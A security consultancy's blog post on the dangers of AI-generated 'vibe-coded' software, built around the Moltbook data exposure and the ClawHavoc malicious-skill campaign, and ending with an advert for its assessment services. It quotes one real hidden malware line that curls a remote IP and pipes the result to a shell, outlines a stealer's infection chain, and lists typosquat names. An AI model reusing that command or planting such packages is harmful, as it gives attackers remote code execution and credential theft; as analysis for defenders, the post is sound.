When “Vibes” Meet Reality: The Hidden Security Dangers of AI-Generated Code

In February 2026, Moltbook, a viral social network “designed exclusively for AI agents', became the poster child for vibe coding gone wrong. The platform, which OpenAI founding member Andrej Karpathy described as “genuinely the most incredible sci-fi takeoff-adjacent thing I have seen recently,” suffered a catastrophic security breach.
The damage? 1.5 million API authentication tokens, 35,000 email addresses, and private messages between agents exposed to anyone who inspected the JavaScript in their browser. But the real revelation was even more shocking: while Moltbook boasted 1.5 million “AI agents,” the exposed database revealed only 17,000 human owners behind them, an 88:1 ratio. The revolutionary AI social network was largely humans operating fleets of bots.
The founder’s statement just days before discovery? “I didn’t write a single line of code for @moltbook. I just had a vision for the technical architecture, and AI made it a reality.”
This is vibe coding at its most dangerous. When developers rely entirely on AI to generate production code without understanding, or reviewing, what’s actually being built, the consequences can be devastating. What looks functional on the surface can hide critical vulnerabilities that expose not just your data, but your entire platform’s credibility.
Vibe coding is a development approach where creators describe what they want in natural language, and AI tools like ChatGPT, Claude, or Bolt generate the entire codebase. The developer becomes a “prompt engineer” rather than a software engineer, guiding the AI’s output through conversational iteration rather than writing code directly.
This workflow has exploded in popularity because it’s fast. Developers can build functional prototypes in hours instead of weeks. Non-technical founders can launch MVPs without hiring engineering teams. The barrier to entry for software creation has never been lower.
But there’s a critical problem: AI doesn’t think adversarially. It doesn’t anticipate attack vectors. It doesn’t understand the security implications of the patterns it copies from training data. And when the human in the loop doesn’t have deep security expertise, those blind spots become exploitable vulnerabilities.
Moltbook isn’t an isolated incident. Research across multiple AI coding platforms reveals consistent patterns of security failures in vibe-coded applications:
AI models are trained on open-source repositories, which means they learn from the collective bad habits of millions of developers. They frequently reproduce weak encryption algorithms, insufficient input validation, and deprecated security libraries because those patterns appear frequently in training data.
Without proper input validation and sanitization, AI-generated code is susceptible to SQL injection, cross-site scripting (XSS), and command injection attacks. The AI writes code that “works” for legitimate use cases but fails to anticipate malicious input.
AI tools often implement authentication logic entirely on the client side, or create authorization checks that can be easily bypassed. They might generate JWT tokens without proper signature verification, or create session management systems with predictable tokens.
AI assistants add unfamiliar dependencies without review, sometimes suggesting packages that don’t exist, creating opportunities for attackers to register those names with malicious code. Other times they include real packages with known vulnerabilities or long chains of transitive dependencies that are never audited.
This isn’t a theoretical risk. In February 2026, security researchers discovered a massive supply chain attack targeting AI agent marketplaces in what they’re calling the ClawHavoc campaign.

Researchers analyzing ClawHub (a marketplace for AI agent skills) identified 341 malicious packages, with 335 coming from a single coordinated campaign. The attack was elegant in its simplicity:
1. Upload a legitimate-looking skill (like “clawhub” for ClawHub integration)
2. The README instructs users to “install a prerequisite first”
3. That prerequisite is malware
On Windows, the malware arrives as a password-protected ZIP file. The password isn’t for the user’s security, it’s to evade automated virus scanning tools that can’t inspect encrypted archives.
On macOS, attackers use a glot.io script URL that looks official but actually fetches a payload from attacker-controlled infrastructure. Researchers traced the full infection chain: - Fake “Setup-Wizard” URL as misdirection - Base64-encoded payload executes a curl fetch for a second-stage dropper - Final payload: AMOS (Atomic macOS Stealer), malware-as-a-service sold on Telegram for $500-1,000/month
AMOS is particularly devastating, designed to exfiltrate keychains, browser credentials and cookies, 60+ cryptocurrency wallet types, Telegram sessions, and SSH keys. Everything an AI agent, or its human operator, might have access to.
The attackers meticulously targeted high-value categories to maximize their reach: - 29 ClawHub typosquats (clawhub, clawhub1, clawwhub, etc.) - 111 cryptocurrency tools (Solana integrations, Phantom wallet trackers) - 34 Polymarket bots (targeting prediction market traders) - 57 YouTube utilities (channel managers, analytics tools) - 17 Google Workspace integrations (calendar, email, docs access)
The Most Dangerous Example: Hidden in Plain Sight
The scariest finding wasn’t the obvious fakes. It was better-polymarket, a skill that actually worked.
The package contained 180 lines of legitimate, functional Polymarket integration code. A developer installing it would see it work exactly as advertised. But hidden at line 180 was a single malicious command: os.system("curl -s http://54.91.154.110:13338/|sh")
Use the skill normally for its intended purpose, and you’re compromised. The command-and-control server was still live when researchers discovered it. Anyone who installed the skill and used it to interact with Polymarket unknowingly gave attackers remote code execution on their system.
This attack pattern isn’t new, we’ve seen similar campaigns target npm, PyPI, and other package ecosystems. But AI agent marketplaces present a uniquely dangerous attack surface:
Traditional package compromise: Steal API keys, inject backdoors into build processes, exfiltrate environment variables.
AI agent compromise: Access to email, calendars, notes, Slack messages, customer data, and every personal conversation the user has with their AI assistant. An AI agent skill doesn’t just run in your build pipeline, it runs in your daily workflow with access to your most sensitive information.
The pattern is always the same: find a growing ecosystem with permissive publishing, typosquat popular packages, target high-value users, and hide in plain sight. AI skill marketplaces are just the latest frontier, and the stakes have never been higher.
Databricks documented a case where an AI-generated Python snake game inadvertently used the pickle module, a library known to be vulnerable to arbitrary remote code execution. The code worked perfectly as a game but created a critical security vulnerability that could allow attackers to run malicious code on the server.
Applications built through vibe coding are often deployed by inexperienced users who configure production environments based on AI recommendations. This leads to databases with overly broad external access permissions (like Moltbook), cloud storage buckets left publicly readable, and API gateways without rate limiting or authentication.
The security challenges extend beyond individual applications. As AI agents become more autonomous, executing code, calling APIs, and interacting with other agents, we face what researchers call “the agentic internet trust problem.”
Traditional security models assume that code is written by humans who understand security implications and can be held accountable. But in agentic systems:
• Trust boundaries blur: When an AI agent generates code that interacts with other systems, who’s responsible if that code is malicious or vulnerable?
• Attack surfaces expand: Multi-agent systems create opportunities for lateral movement and cascading failures where a compromised agent can exploit others.
• The “confused deputy” problem: An attacker doesn’t need to compromise your network directly, they just need to trick your trusted AI agent into doing their dirty work through prompt injection or poisoned training data.
The ClawHavoc campaign demonstrates this trust problem perfectly. When users installed “better-polymarket” to help their AI agent interact with prediction markets, they weren’t just compromising a single application, they were giving attackers access to everything that agent could see and do. Email, calendars, notes, customer conversations, and API credentials across multiple services. One compromised skill becomes a skeleton key to your entire digital life.
The Moltbook breach wasn’t just a technical failure. It was a systemic failure of trust in AI-generated systems that hadn’t been properly validated. And the ClawHavoc campaign shows that attackers have recognized AI agent ecosystems as high-value targets worth coordinated, sophisticated campaigns.
Here’s the uncomfortable truth: 62% of AI-generated code solutions contain design flaws or known security vulnerabilities, even when using the latest foundational AI models.
Simply adding “make it secure” to your prompts doesn’t solve the problem. Research shows that “agents frequently achieve functional correctness yet fail security checks on the same tasks, and simple mitigation attempts like security prompting do not reliably close this gap.”
Why? Because:
• AI lacks adversarial thinking: It doesn’t naturally consider how attackers might abuse functionality
• Security is contextual: What’s secure in one deployment environment may be vulnerable in another
• Testing isn’t enough: Code that passes functional tests can still have severe security flaws
• False confidence: Code that looks professional and well-structured can hide subtle but critical vulnerabilities
The only reliable path to secure vibe-coded applications is expert human security review.
If you’re building with AI code generation, or inheriting applications built this way, here’s what you need:
Don’t assume the AI got it right. Every vibe-coded application needs thorough review by security professionals who understand:
- Common AI-generated vulnerability patterns
- Supply chain security for dependencies
- Cloud configuration and infrastructure security
- API security and authentication best practices
Automated security scanning should be integrated into your development pipeline to catch vulnerabilities before they reach production. But remember: automated tools complement human expertise, they don’t replace it.
Real-world attack simulation reveals vulnerabilities that static analysis misses. Penetration testing identifies how an actual attacker would exploit your vibe-coded application.
Many vibe coding breaches happen not in the application code itself, but in how databases, APIs, and cloud resources are configured. Expert review of your entire infrastructure is essential.
Security isn’t a one-time checkbox. As your vibe-coded application evolves (often through more AI-generated updates), continuous monitoring and regular re-assessment are critical.
At HYDN Security, we’ve made it our mission to help organizations safely leverage AI-generated code without exposing themselves to the catastrophic risks we saw with Moltbook.
We specialize in security assessments for vibe-coded applications, bringing deep expertise in:
• AI-Generated Code Vulnerability Patterns: We know what to look for because we’ve seen it before, hardcoded secrets, missing input validation, insecure dependencies, and configuration flaws that AI tools consistently introduce.
• Rapid Security Assessments: We understand that vibe coding is fast, and your security process needs to keep pace. Our streamlined assessment process identifies critical vulnerabilities quickly without slowing your development velocity.
• Remediation Guidance: We don’t just point out problems, we provide clear, actionable remediation steps that your team (or your AI coding assistant) can implement to fix vulnerabilities properly.
• Security-Aware Development Workflows: We help you build security into your vibe coding workflow from the start, with prompt engineering guidance, automated scanning integration, and review checkpoints that catch issues early.
The Moltbook breach didn’t have to happen. With proper security review, those 1.5 million exposed API keys would have been caught before launch. Your vibe-coded application doesn’t have to be the next cautionary tale.
Vibe coding isn’t going away, and it shouldn’t. AI-assisted development has democratized software creation and accelerated innovation in remarkable ways. But speed without security is recklessness.
The lesson from Moltbook is clear: functional code isn’t the same as secure code. AI can help you build fast, but only human security experts can ensure you’re building safely.
Before you deploy your next vibe-coded application, or if you’re running one already, make security review a non-negotiable part of your process. The cost of prevention is always lower than the cost of a breach.
Ready to ensure your AI-generated applications are secure? Contact Hydn Security for a comprehensive security assessment tailored to vibe-coded applications. Let’s make sure your innovation doesn’t become your vulnerability.